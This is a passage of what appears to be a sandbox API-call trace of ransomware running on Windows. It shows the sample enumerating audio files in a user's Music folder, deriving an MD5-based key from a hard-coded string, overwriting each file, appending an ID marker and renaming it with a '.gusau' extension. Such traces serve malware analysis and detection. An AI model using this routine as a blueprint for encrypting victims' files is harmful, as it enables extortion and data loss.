hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.312] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.312] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x3867, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x3867, lpOverlapped=0x0) returned 1 [0117.312] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.312] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x386c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.312] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.312] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.312] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.312] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.312] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.312] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.312] CloseHandle (hObject=0x610) returned 1 [0117.313] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0117.313] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5430 [0117.313] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0117.313] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\07G0ZL7bvnBKvt7n.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\07g0zl7bvnbkvt7n.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\07G0ZL7bvnBKvt7n.mp3.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\07g0zl7bvnbkvt7n.mp3.gusau")) returned 1 [0117.314] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.314] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.315] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0117.315] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc776c130, ftCreationTime.dwHighDateTime=0x1d4d2d6, ftLastAccessTime.dwLowDateTime=0xe98a6760, ftLastAccessTime.dwHighDateTime=0x1d4d252, ftLastWriteTime.dwLowDateTime=0xe98a6760, ftLastWriteTime.dwHighDateTime=0x1d4d252, nFileSizeHigh=0x0, nFileSizeLow=0x34ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1tk99aXbfw9RlvqZV.mp3", cAlternateFileName="1TK99A~1.MP3")) returned 1 [0117.315] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.315] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0117.315] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.315] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1tk99aXbfw9RlvqZV.mp3") returned=".mp3" [0117.315] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1tk99aXbfw9RlvqZV.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\1tk99axbfw9rlvqzv.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.316] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=13514) returned 1 [0117.316] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.318] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x34a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.318] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.319] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.319] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.319] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.319] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x34ca, lpOverlapped=0x0) returned 1 [0117.320] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.320] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.320] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.320] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.320] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0117.321] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.321] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.321] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.321] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.321] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.321] GetLastError () returned 0x0 [0117.321] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.321] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0117.321] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.321] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x34d0) returned 0x39f9f20 [0117.322] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.322] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.322] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x34c5, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x34c5, lpOverlapped=0x0) returned 1 [0117.322] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.322] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x34ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.322] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.322] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.322] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.322] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.322] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.322] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.322] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.322] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.322] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.322] CloseHandle (hObject=0x610) returned 1 [0117.323] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0117.323] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5430 [0117.323] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0117.323] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1tk99aXbfw9RlvqZV.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\1tk99axbfw9rlvqzv.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1tk99aXbfw9RlvqZV.mp3.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\1tk99axbfw9rlvqzv.mp3.gusau")) returned 1 [0117.324] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.324] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.325] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0117.325] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd3bbfd0, ftCreationTime.dwHighDateTime=0x1d4d2ff, ftLastAccessTime.dwLowDateTime=0xe32b3b50, ftLastAccessTime.dwHighDateTime=0x1d4c56f, ftLastWriteTime.dwLowDateTime=0xe32b3b50, ftLastWriteTime.dwHighDateTime=0x1d4c56f, nFileSizeHigh=0x0, nFileSizeLow=0x2360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8HrfWqZar65w.wav", cAlternateFileName="8HRFWQ~1.WAV")) returned 1 [0117.325] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.325] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0117.325] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.325] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8HrfWqZar65w.wav") returned=".wav" [0117.325] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8HrfWqZar65w.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8hrfwqzar65w.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.325] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=9056) returned 1 [0117.325] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.327] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x233a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.327] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.329] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.329] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.329] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x2360, lpOverlapped=0x0) returned 1 [0117.330] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.330] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.330] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.330] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.330] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.330] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.330] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.330] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.330] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.331] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.331] GetLastError () returned 0x0 [0117.331] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.331] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.331] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.331] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x2360) returned 0x39f9f20 [0117.331] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.331] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.331] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x235b, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x235b, lpOverlapped=0x0) returned 1 [0117.331] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.331] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x2360, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.331] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.331] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.331] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.331] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.331] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.331] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.331] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.331] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.331] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.332] CloseHandle (hObject=0x610) returned 1 [0117.332] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0117.332] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5430 [0117.332] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0117.332] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8HrfWqZar65w.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8hrfwqzar65w.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8HrfWqZar65w.wav.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8hrfwqzar65w.wav.gusau")) returned 1 [0117.335] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.335] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0117.336] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x572fa090, ftCreationTime.dwHighDateTime=0x1d4c705, ftLastAccessTime.dwLowDateTime=0x20deaa40, ftLastAccessTime.dwHighDateTime=0x1d4d033, ftLastWriteTime.dwLowDateTime=0x20deaa40, ftLastWriteTime.dwHighDateTime=0x1d4d033, nFileSizeHigh=0x0, nFileSizeLow=0x1407d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bS4AaW9eUKRKSJX2c.m4a", cAlternateFileName="BS4AAW~1.M4A")) returned 1 [0117.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0117.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.336] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bS4AaW9eUKRKSJX2c.m4a") returned=".m4a" [0117.336] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bS4AaW9eUKRKSJX2c.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bs4aaw9eukrksjx2c.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.336] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=82045) returned 1 [0117.336] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.338] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x14057, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.338] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.340] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.340] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x1407d, lpOverlapped=0x0) returned 1 [0117.341] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.341] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.341] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.341] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0117.342] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.342] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.342] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.342] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.342] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.342] GetLastError () returned 0x0 [0117.342] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.342] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0117.342] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.342] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x14080) returned 0x39f9f20 [0117.343] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.343] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x14078, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x14078, lpOverlapped=0x0) returned 1 [0117.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.343] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1407d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.343] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.343] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.344] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.344] CloseHandle (hObject=0x610) returned 1 [0117.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0117.345] RtlAllocateHeap 